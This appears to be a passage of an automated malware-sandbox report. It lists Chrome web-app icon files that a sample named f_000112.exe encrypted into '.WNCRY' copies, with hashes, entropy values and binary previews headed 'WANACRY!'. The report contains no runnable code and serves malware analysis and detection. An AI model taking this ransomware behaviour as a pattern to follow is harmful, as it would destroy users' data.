                                                                                                                                                                              Preview:WANACRY!.......<...k[.@*......a....b/.]J...kM.....%zYm.h....<..=<....{.'m..RF.....0.b8......Z.Do~4...!3y.s.....9....;..b.t.....).....B..n..)8,.."...*.......;.q6..O..4.fHP^.m..0.....w...M:..ip...s.0.S.(..\Z.y.CS..p2.d......j...@,....F...O.!...;!?.....|....G........AK:..<.D..2.......[wz+..ty.!.].=m.|.n6y...$.C.7.].aL(..'.2.5 .uWbA..5....HA......).C.g .)..d.....$....q_|.{... ..D.....q.....6...r....v..+.8.j.k..zj..K<...QXF&5...9.:Q.....&..<....U.k.....z..y........3.9........q...I.91.w.6.h..(.`L.U%.M..xA..e.F..cO.#..^";.(.(..qRI0.3.B.X....,..?..........b@...GhR..PUt06..y.?,...H,N...q..........6.7J#.n...!m....|(.~?v...5(...R.....Y"......DNpb.Y..pz....`Wy...L..._+.4..Q.[.){.p...1..n0.U.........-.%..JG.Hp....[..P/.r...h)k{G..Vw6.@U...X...^Z......O.rI.=.... .q..$...R..3..+..'.+...j....~x_..T}.$.....j.<EY..q9X>.r..G.I..D......I..w..2R.J\.S.L..C..Q. .......0.r...b.7.T ....a..8;./.Y.z .2.a..G..........{-M.C.h.)....Y+.......?...h.....:.V.q.f.F

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.837638631676002
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkpOvZ41CYGcRlXqfrybXYPWb9dig5Ad5iYEC0/E0sUCYpdCwUWup+47AP:bkpOh41CYFXIryDIWbGUQgE4bCLWu9i
                                                                                                                                                                              MD5:E9B7A11FFA877F190D40F6709A6FE7F5
                                                                                                                                                                              SHA1:F60F347381FB81D75B65F8D8C5FC1F37DE0B92B8
                                                                                                                                                                              SHA-256:873A582B24C21699B21C958C606D35449602200011043C189360485EAD217CBD
                                                                                                                                                                              SHA-512:745D2F3FE3C9ABDA8E42C2B447C23D14CB881DB1318A8A8334CB40CCC77544B4D09B948F44E26E3D1C611F100D4F6156FD908DC3A765D0D1A64FEFD0B31ACF84
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....|.^....:...^d...........&!....d.....).....`81;!...{Pb...........!@w..(..;./.....!k2w.6.{4..9.....>.....<I..q..`u....:..+o...b%..V`..[.%..,..L.,G.`#^..m.!?...wDT <#... y...Dvbq..2..C#....u...........KT.'.......Vn....+.1.i4......k....[-.t...............go.kQ9.4.y........|.!...v....3rO.jm..i.U.r.n[^V[q[..........hW..d37F.`.T..qec.TT....N..>>...:D.../.....7@.Y.<......C..z.K`..cR..pD....lw._.../.`.....?.X.5..ZS..0...a.&u..L..:....M.[x._...-...>.,.....Bp......Ysvx.....;4.........H!Y/..d.b.s.......]....y.\)...P.I... I."..rv.4Z..`.....S. D.1.S..hh.]f.6.....#.|....X.h.....b..H.^.GvH..hC...*..?j.X`.4....C&....$.dV.c.rv..~.. `-xj...m...m].M.}....K.(1.U. ..LBq...g..w.5^..:..e......I...........Q......)."D......1w..a.....k..I..Z....b.4........PO.ths.S.xqf<....,&:.4E..:...].....I..aO...{..}.*P.O.*.BC....\.....<.'..}.&.!.....#)5.D..J....PM......9..>x.3-Us..<wS....3_k..>. .r0.5......-...@i_^6..../.&...a_......O...H....}+..D.8...x(..bo..g

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1656
                                                                                                                                                                              Entropy (8bit):7.886560373325398
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkXKw1ahYi7Rjc1WhfWkkrC2Ia1I3plJk/tRv4wSdcy3UZ3df4T3cktB8r1yRA++:bkawoY45b5kreZ3ItRcSyGR4T3cqu1Qw
                                                                                                                                                                              MD5:E5A078562352BB2682A62B3A423AACEA
                                                                                                                                                                              SHA1:893372E2BE828062A3C66B700F497C99E6A05451
                                                                                                                                                                              SHA-256:A25D550535008AD4541DCC2448904DA60B97460B60FC6251A7E8A3BBEFBD2873
                                                                                                                                                                              SHA-512:1F652E394A0DDDF78D0C47C8E4A0324672D32D20182C0A5E414E2DFB01BBFC51A329CD49998679F2F715A0FBB736DDF3EF1A0AACDCCAC451E5874A901B86C77E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....|.C..^.*w....c7.@Y.a..../iCA7"...j.8H..d......fu.H"...o...g.u...k{../6.w ... |H}....3.6.x...4C.....3.1>P..I.E.WTe.M.i1..b.#.....;..gS.....c.......B.C..wf."`v.0Q..p\O+.,..<.6.....f.........$.:...7...U....Hz...L.8.=.C.HX..<.X..1....fS."w.3...g..I_......Y....... .....a.>.....#.o.SQ....X"ktg..o..:.B.D._...m.y............(.O.?...K..sQ.[6.,..tp.f5...!..ej`WP..V.k..._-..2..}...c:. .Z.c..|.?E...X..W.....*..'tp..o..j.k.>..9q%4..W.y}..)i...+i....".iXu......A.X....6....H.C.G............Z..avX..<{.t.._q.R.W...S.D..9.}6.T.....)...~Tn.M7.#.W..&L.s...!....O.?...1!...?&)...~6bE.T..D...../..3.U..........4..ozJK$....L..W...W..$..X..UFj..G.Xm'.c.nB..1m..A.2oU:..}].....)Q.@.....5...Y.-."....o4C..Y.W!.B$U.3...n.P4..3......n....#.m..K'.B..w......4..._.H.2.).n..V...h6n.}.Hh..7..8.A.&.]C...Rx.a...'.......`+...T...G.7.k.X...... ).[-.U................~....Z>...2....L'|...&53e...T.n...P....,C......Z....@b..!^<#>#.EQ.?i.~.[df..fO..Ce...f,....##.|......R.q.6..4.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1800
                                                                                                                                                                              Entropy (8bit):7.872596081268853
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkBu6xUmsDDEkAkfon2FYF6ohfiuqJEJ4IK7xjAn:oBAgwon2FYhquyEJ4DRAn
                                                                                                                                                                              MD5:753B86A0BFCA60AA7DD0439AE7F2B6C6
                                                                                                                                                                              SHA1:E450722743ACE32F1B66B70726C16E4942168BE1
                                                                                                                                                                              SHA-256:E45AAD59F8AA595F5D0C3F54A09513D27061B6A3BBBAEED93C7BDC1E7EE07A64
                                                                                                                                                                              SHA-512:EC29EEA33F569939341B1000BEB369D8EDF3DEEB318DBAD08048286E92D30667271590629AC7FCD190F0794B20E20A639EE0BBB5772A880831728E88B4C41F5D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....?.^.2L..r(w.....T..6....l..'Wbc.M.'. d..*..h....r.26.5h.C.e.,R.T...$....E.._?..g...%.^ ...W4....KpQd.x.Q'...v....8...._L3!..o../y.$g>...Km(.s.d.\]e.z.o@..A..U..t...%4#..}....KE....E..lh.:..f.....o6.@.......B2......).f.._.r.[....K[.!.s.V....................w.U.^"*.*Y.C......,..e..`..R..@.%)...&#..XK.....J7.'....1(....}7v...8K..y.3h..[f>.?.KF(..8.....kI.....)..r.Q_..d..\...Y.M3.~X..^.. ......C9.....D4a.g...)'..|b.W...=.a....t.b.......B..|NG..{.5...C>.....".M..[...).(..w. ......Q_?.P..s.._...S..3...Z....[.A#p...[.l....8(.8~.....p.bIom5D.....N..8..c....<.b2..l..U.2I.{.........D?.|.O2~..~"=!w!........]........W.....0..G..sqR.Wi.....''....G5....T4..U3..2.S.....ab\..x..&@b.V.s2a...#|__.h.r..is......NtD].>.LM..Jy.-~bb@.< .....'0..D.C.j....=q.19^H.*;...U...pv...z...d...O..\D..?.+.>.G..J/.93jchi-..4.G.D.O{.....p\L.:[............>....T....|3...RE.. Bw..:..._....N.C.WG.............>@h..,..=......O(..f.."~....}:..-8.v.h....h..9..Q........<..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2136
                                                                                                                                                                              Entropy (8bit):7.90266028424732
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkIoV8kzekW7V8lNt96Uko1B/FWMl5bHkeU3kmBLmCCzbAGgsQ:ov8khW7V83t96Do1BYM/bHkeUUK4MsQ
                                                                                                                                                                              MD5:0D9B0D8B4A7588A0F5F82A70AFE8852C
                                                                                                                                                                              SHA1:229019651E207C762D866FD35B5605C7FF16707E
                                                                                                                                                                              SHA-256:21D4216850A721605E466EEF8517DB25690A79FB3CBA4EEAC3139828FF5CF67F
                                                                                                                                                                              SHA-512:865503C02CE0CE444083F04D6A25ECA272C35C38A22C170BB5EF4FBA63B42519FEAB5CE0533CC52AE2348FEFA7A64B8EBFCF9F1E3FA2E2D67B49B1D944AC3413
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....j....1.\.4R....b.;..L.L4.!..n.....w.*Q.."..)4fY..G.dF..k...P.0f.t.6.e..r$%rF.h....>B....m.0.5.,.....X.,.......6....19`.&...m..T.|jb!j.._.".T1!.x7.."HGU})...c.0..G..#...&7...tl...l./..H.aBIL..Q+.O"X.......-..r....}.G..4..iV..P..X.v&3Y<.J+...35...n.?.-....7.......-..]>.?...0.Mf.x.-^HC.....X..o.....J.......<e@....spC....\.z.I.3.Z............L..p.......\m4o^B0(....['.."...`.......;=.)....2...{7Zlda.<.s..{._... .|.....GV..X..........e.....g`..e&..n.:g...'...Cr...g.{x.\..\L.c.<>...x../.......Rq.w~...i..G..&E..qE.=......N.hnU./....#...(R....lk..&.....L.b}g....|.t.._l1Z..Y...0'*6cs....9.o.7....&..r..20m.G....".S...5....I..N.4.o~T.Oq..F[^kFc*.:.....X..."rm.V..j...?....j^.....%x"8_k.:.....E.\...dt.|....^...Av#.....e.....3.[...$Tp=.s9...-....a...-..^..#a....n.....`,B..4....o....P..fd.....j.^Zeml~....na.J..z...".P.."..im>Y...~.4P....f.-.L.}ZO-.a!.j...)p..P.eM.....H.#M..9..Q..rj........Ey........{|....H....;.1.@{........G).|K..P.M.+...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5656
                                                                                                                                                                              Entropy (8bit):7.967804912554596
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:os/wOr4sXeiVNN7apisgyiZ2zQQeUV73HvmNrgHRLHtsB4sNhItClOt3V:IVdiVNN74bC873HvErgxNsKIKtCY/
                                                                                                                                                                              MD5:337D2F9249A248F9EE879218A5E1AA52
                                                                                                                                                                              SHA1:9B57AB5A512A20478AD314E684620BF5C634799F
                                                                                                                                                                              SHA-256:605D1051168C98A1F401FE8A926AB97097AC4333443A3362DD4E0C99FDCF0FF8
                                                                                                                                                                              SHA-512:9E88FE38D7BF9F7EC5FA228EC9CA118FBE08B4150930663BB2CB7EE74D997F1B46152A01C9547470E4B0595C70014C02C05D6D536BCC75DBAF943481652E4A96
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....D......Z..1>d.......^.v..g.\}....h....+....&..=..e....LD..|.&..C..~...Rn#|.v>...}...$|.9..^./..$..z[.0&.M...@.K#.L....8..Eze....+.C..H....g...U...U.AfQ...K..^...gN..K1e<.D..._7....d...#.O.....<Z*..>.R.....:.&.m....uhB'PP.D...?.8_.....7.L..3..................u.py.......O.."..'.......)1.<.U.0c);.NP...=..'.wsw...d..r..K.n...]<..z......2.,S]+x...../6.[{...7......^.\q........}X..K.......N"y....u#P...K.J..X".Q.......7..96@......./.v.r. .A..6....kH...6..x....5.y{.v..G.;0..$x-..%+Tg.c...../B=......j9.....`6....aTAd............3..f...Y.&....A.1.D..Y.~.._..=qK....lr$.d....C......_...X.>....Z.......~....]ke}.._-..j?.9.......q..&\l...f?...V...`p.M....&V....$.R<2..8.n.-b..1...pm.-....f5.0d.__YP..$.g.n..._ ........\7L.....o.f,:?2}Y..wU......o.....7S.T).....j?=.....pA>..q.ot.y...O.2.P.9}......z..Z.Ur.......h...QZ.j{...4.....F$..i..E.*..(....Y~.2...s..B ..g'LKP.om..... .....v.L.$..{l.e....Vk.-..~.Y..sf............r....).y$.eOh.|y s..R.9kK.m

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3208
                                                                                                                                                                              Entropy (8bit):7.939952155089945
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkoeQmBsb8KXApIsNw8GAV+5XKDeeqENcwbuufUzvxxMK88NpLHUuWVbMCpRD/z9:oo+2l6ebENcwblUL88bL01tF
                                                                                                                                                                              MD5:1F76FECB2933B5E9616AC245E2A439DD
                                                                                                                                                                              SHA1:4CC59862261FC16C31BA50E06D308AB390713352
                                                                                                                                                                              SHA-256:60FD998E7447741CE9E756A7D88C0DC54366DA67D1A84E8B574432AF63FB08E2
                                                                                                                                                                              SHA-512:34EC8738DDD1389CB5569060641A11599FEF5DFC4AF6953CBF3C61DFB91908BC5FB56576DE6A9F8778EC98811ED6A8FF67ECBDB143341E5FC22229B7666E1179
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......!C..~..O...}..%.?..D..w._0g!.....+b.....IBB._..y.A/nrL.h"[.2...xAL.>..H...kg. .l...;..7by..._...#...ywNf!i....i...`.q.$.Vav.x:7.8I......l{....].3=...X..:....cL....<.m3.t...X..s..(Vh.p.>..Vz...A....%.].E..../S...?nK.q.45i...0b.T....&!.o.SRPa.......g.......g.6a.mb.'(.m........I'H....$@%.=.U...F2..R3]...{*.......}:.C.}K. f....q..p.n....h.Y&.~Z.p.'.g..._...9ar..7<..*.}....-...(<N...A.l...8#m..q....9....].J]....<UW.......)G....b..<..<f|..qR...4`..u....s|.BgdNF?Un.....4X...?.].0i...a.5..g<...{. ...0.}.72_Y..j.u.;t.!....Lh....&@.A.....m.7mCW.y...c....;..{_..fu\..LR..AF.C.'.\...x#...&....|.v.`...~....j........$..1VM[.....Ef.CYF..o?.<....\.}.o.p.SO........X.2..u...SU=}..F.@.:....._......e..6f.]..e....E.$=.2...%..GC.v..V>e....b.u._..<V.Z-..<2.U.......h?...-h.nP...z$e....q.......z.s._^L...)....0..-.{ .._g.%..S.x..T....d.O..H.@.....ylD.....|..A.d..c.'>Od..hW[S.9...".\}.........i..v.q_}..8..@C...h...&[\j.-@.v...71...$.p...}..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12520
                                                                                                                                                                              Entropy (8bit):7.985006231076916
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:/a8MKk1vY0rW/4WR19QASqJ8id0V9zKE91xvKSGI:/a8MKk1Q0rYzR19lSqU9O6b
                                                                                                                                                                              MD5:F4A7915A781755E94ED70AAEF94714A5
                                                                                                                                                                              SHA1:3810FAE0D264D8D8E037EDD260E632A21C8F2F9D
                                                                                                                                                                              SHA-256:A621A3C87B84A9E8E711615FE90627DE71295ADC572B6A3D1FC91C0727B92FBA
                                                                                                                                                                              SHA-512:F9003FCA96E1A40F5315C8D3C0004763106DC522EE135D4E93B0B5A8A024EA6755F1F7C3934E95967AD6F264A73A374D4F76FD628E03056A2E57782C147CE7D0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....o~..J)....Z.Gnu.u..'.6.m..E..f.....-.yh..3.......#...Y.I..2..R.....(p..BT..Wl..{..........{3....q.=.N..\".C|.`}....Z{,..J...;....[...b......QI]...L.....t?>#a..f4..g.|.....J.ov..z...=V.<......}..V.9n....)....H.%RQ..s..vN.R.................c.S...../..........MQQ| .Q-7.(..g.Ms.I5....[A...l...+`#.VUU0..._..U..........Y...)Gn..3.S....7..o..{.F5.....,D..r0.l.;.......:.'....x.K7.....-i.|V.}}.FY....X.A......i....,.FO..99Y...K.e%...\)E...p.w....p..k..AGKj...^.....@.;H{..`....\....M.......IBP`Q.......H:...I..OV.f.....H.'......p..P...@.#.6..R..O\}.P.]D..x+.......7....E6..B...........l...@..0.!a.....Z#.R.L..JTiK.r.K;3.Cr..9'.F....e.M....W..y<.@..G.F..b.m.G6....6..G.."Z. D5.....!.d\.....\...CQz|..o_.x..B.fe..=......$.A........S..O....}.T.? X.3U.'<.C.O7..Vx.^.h`f...`....:..`..b&......=4.|Q.\.e95a...g.E..r.a..*)..\>M..Z!...../.-5...TZ.".*..A^U)o..M.6qc.........../.Q%...KU....n.\..H-.q6...h.P2..U.M. Fd.5.3...e..'...6!.C..C1Jz.JM._y.....k...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1848
                                                                                                                                                                              Entropy (8bit):7.874134625085157
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkIqaF0gn1NiON6ou1tAehpjCBrJwdvFub1SNWiEhWhIg1OKfr:oql1rN3gFhRC4vlgURHr
                                                                                                                                                                              MD5:3C2EB5980898383AE691B6F08E10BF6B
                                                                                                                                                                              SHA1:B90A03BB01BA649C8A067FEA4A5455C4563B0A6B
                                                                                                                                                                              SHA-256:13DEC7A01D81DF379D4674F3F0E2AA27E1D8051C79805FE98C7454D1E3EB55C5
                                                                                                                                                                              SHA-512:81D3C393F9A9A11CAFC9AB14C3041C29C224954AE1C24E97F57644B1E94168D230BCC3F26ECD4E29C3EA0F8A0785316BB2662033B95D1A224D6D999F93F15400
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....,.@.......G....?...dGG..~.H....}~..&U...n.BbH\.9i.(...,.k....W}.3pr.q4t..)....A~..f4..M.R..Z.M.r.BC.X.o]n.B..O_.0..l4.n.....@.9.~e+..Z}..y...sBw.-*_'..0.M,..m......X...(S.....G..f%.IV&..IJ&F2.\D..L..D0.~?...A.I....*)lR.....$$.d.....f.GPd..............s.i.f.3...N.s.s.........]....r.a.T.~vH.x.{.X.j4...q...]x#.W...5.z..h...<c....6.1..u....3....^c...(..p.z....|k.?....#.o.Q'...PI.T.....U.].....0..(cL_!...`..]$..l []wm........yF..Z.....f.,.&z.^}.a.foh.....]z....Ky.......Y..]A.1.!...U..Oi"b.M.N.4].|w....<njQU[.-.$h..$.....;.Q....J..U$$#......<.#T1.o;.}..i.VC.1[S.......Zg.r..u.5D..]3.K..)W..t...[..g..H..*K?.m*.Ki........=ut..)....'kt..~H.%4.......<.SsX.w<...s.....-0...!.@..A~..&...}...]+.`.!.^..%.4.A...qX.C.s.#.......l<....x.8.)...j.0..w....C6...UY.A...x?^.*5...q.._.?...S.BUX...u..WpX.ER.5.&:Fh>..h\}...p57*.As.%....&J =.g..3..|....zI...DEC..F.I1...P....,...P...e....9m.)5.....~>t. ..{..0.....=.;...s[t..|...y....m_..?..cpST...B..V

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2664
                                                                                                                                                                              Entropy (8bit):7.927826575424158
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bktvW1mnLq7JiNijnI3CezLG1h6YKOysoPOSw8wrCiT3SDtU236:oRW1XJVjnIye21h6YKOyftIZjShbK
                                                                                                                                                                              MD5:9E40B95124802E846D22B699449BC636
                                                                                                                                                                              SHA1:EC5C1084CF59E9432C5BAECDFF66D18B3E437695
                                                                                                                                                                              SHA-256:0505B4E66B7CEDCBE85FD79DC735C37C22EE46A649DFAB80E3C4E5C5DC383756
                                                                                                                                                                              SHA-512:0A1BF0CD56BC5352334B3F6AE4DAD281F36732FE08EB47BE9174103F0C78CBEB0EA969B0E9E5E0B07F91B67E32E86777BD75CF2BE09EA8A78E88CDADAE1E30E1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....;.....e.Xb......V......@-....]y.eHCL.....B.D+.......|.'b.\O.\..tR..R.R....i.ek.7...I.v[^V.?.K~.....'VL.f.......$.k..c....e.....v..'.pj...;B..../.0pn..._$,....F........ga..b.....$...z..!.9.Y.4.zR........),...-....\..~..L.....d.Z..pl..r...('.......M..........K+p..c..?..:aL..wp..4,..."..?...n.;#M4..?q8$..I..sWrp.F..NX%.).[:...c.%.q<.uL#G.:.$.g.y*....P..D..W.84..A.pN........N..q^./E..Q.r.`.......<.Br...>x...C.G/.Dz.s.ET......~..fu..>Y.W.......X3..5r'..........P.....9`...b.e....J.....T...z. ..A.. ..1aj.i}...."%...pv.&1y ...j.<M......$.+.<.7....1*'.TH..l....%F>Udr9VV9.C..6`...w.ik..8..a.+..p...+a%..kM.4.-.M'...5L..P.C..X...^.e(."..$a$...(..Y......RR...<.....b2...et.....}..`..9..pV4/.t.O.c)0...j.)!...:.x1#^R.f..s.@..)...$.5...|...f......E. ..i.a;...P..$.d...x{W.#1.u.].=8....U.r<H$.......W..&...,.7.....L....0..{...W..n.......|R..0..wB';.....{.j...w...I~.f..czi..V...+....".........=P&..LQ...{......o..}..+.....Uw..<&........X..Q...n.Ym.tN....=y.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3288
                                                                                                                                                                              Entropy (8bit):7.929516988243946
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oXlyHN3sVlaCYoh5UdOhLj72sai8YgKoH:bN3Sao/AOdSP9v
                                                                                                                                                                              MD5:563587DB77B10BC6626987A5B8513E92
                                                                                                                                                                              SHA1:6D68A8DEC12FFC4F085ADC12930C4ABB0DDE9448
                                                                                                                                                                              SHA-256:877A640F2C3720333424BB9A396CC39F0F2F5211FF77263B46EEE79112881CEE
                                                                                                                                                                              SHA-512:020D4AB437FEE046D03A400068CB3AE0B592F6818446B21D55FCACC2742553A8057789D9007DC1AB3CD09D4D6F6713EFCCF926890197E05369BE4EAACA46B0F8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........Cw.t...L.y..8]..R..P9...I..t..q..W.q.S6.B..Gs...]..h..^q|.......@..:.=..4.U.....f.....}~..".....Q...=...Og05c%.:L@...H.....[l.>f$.S.......Ejw..p..[.....B6D....TU.;..@.W...d.#.........I...$W].,dF;(.....:R.{w6.....m.m.........Ta..;o._.VV.d.W............h.?.......}..N.=i.Rx.........@.V.pM..(.JOwM.F......b=j1.y..w...`..&;d...{%.=....4.]f.X....XS.....y....*e...q..\..;...T.S..........5[vL7....T.J.#:....~.+<. q.=..!,...3.G+.lY..2U.s......C.h..-......4.Au..4....d.....#}}..D...Q..+m....m.........Y...V&c..o.@.^..T...f.kb.P*ui6...<t.o.%M..d.|Q2.MOG.Q.+..E5... t.R...]cX^[wt.....C..../.^l.x.y.J+.SF..A.o..D>.:.....y8&^.:/...\.-.Fa.'.ql....Q......G.0........{J..\8d....<.'.....F..B%..!l..W.R.....4.<.xG....pT....m.).....mM.MR[{wf.&......z....E...CId.r..a......L..)WO....8h....i..(...g......}....9.....|!.<.;J..1......F..%.../Y.........s.Z>...R...;.`..im..P.$.... z.w...?01.\.).3...~R.xZ:.p.+...b....S.C|.J.IZ....^.[%.......e...S.4f.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\96.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4136
                                                                                                                                                                              Entropy (8bit):7.951184140016181
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oU284/SO1lMVolyp+L4zeVTP4Xnn45ea20Bzv+:lO1N/LDkX45eBD
                                                                                                                                                                              MD5:4CA376B8A9607115E00969314B5FA751
                                                                                                                                                                              SHA1:B79BBA221B7D5E8B10CC71F969C33402B5D6F713
                                                                                                                                                                              SHA-256:9A0ADEDEFCA2FC17D498F77F4C7AB8FBF7753EC5423C8BAF0D09FAAB0EA427E4
                                                                                                                                                                              SHA-512:5424C8AE8F105DB1A88BE602A87889D0BFFE7A418F3A5BB4E97FA109E2246183A639CAA34D512DD45C4797D13D17A26000B0C86414C3CA62A62B61A4FD0D7482
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....)L.~.<:...81..H9^%.1.v..M.. ..G.V@/+..<....$..:..R.......m...@....3@.u-..#.y..|..+.|B....i.....5..<f.y[KL...S.daR3..}.o.iB.[.z.%..@.%..g..)...f..+..>Hj....yU.Je.....X>......rn......'.ck......_.2....P.5t......_........%.-....f#.F[.W...5HY.M..0.G.o.1.................G1qZ@&..4n~..[..z5.)mK....... ...)....!y3.+..E..g.k..aXQ.*MV.4.C.g_.f..!g.<.Kt#......Z.ZKj......... !/.K.e..b+....3..8.~{:W..9..v..|.^.z..c@.,E...mr^i.l.+h..`...PY}..s"1. ..8.X&.,..\....NM.0.%...r..........7..\..'B...j..).q..SP..{`...a...BFX.,......m......B.xs_.z7.^.GFz1'....<Vd..2B..*.*.......q..h....."AB..........Q..=G..3:.}..#X.Q....k....TB].\.cN.|&........Hj...........H".9.......JU..$..aw"=Ms...B.YS.8.u!Qd.Vf.|..L.W..Y...q(b...jr&...rS.yr..k..J.1$n.5.#.B......'...y...gP]..h..}.Y.UX.%.f<.......Z..<P.O.q...M...^........J]....%..S.....>A.y......-.Q..&.8"b2.....H...gS@../....y0......(Bw....|.z~' n.....ST..A*@Dw...9.....|...WK.xb0'.6@..+...v".$.\..x.EK.d.[M.+5..98.&.-4p.......

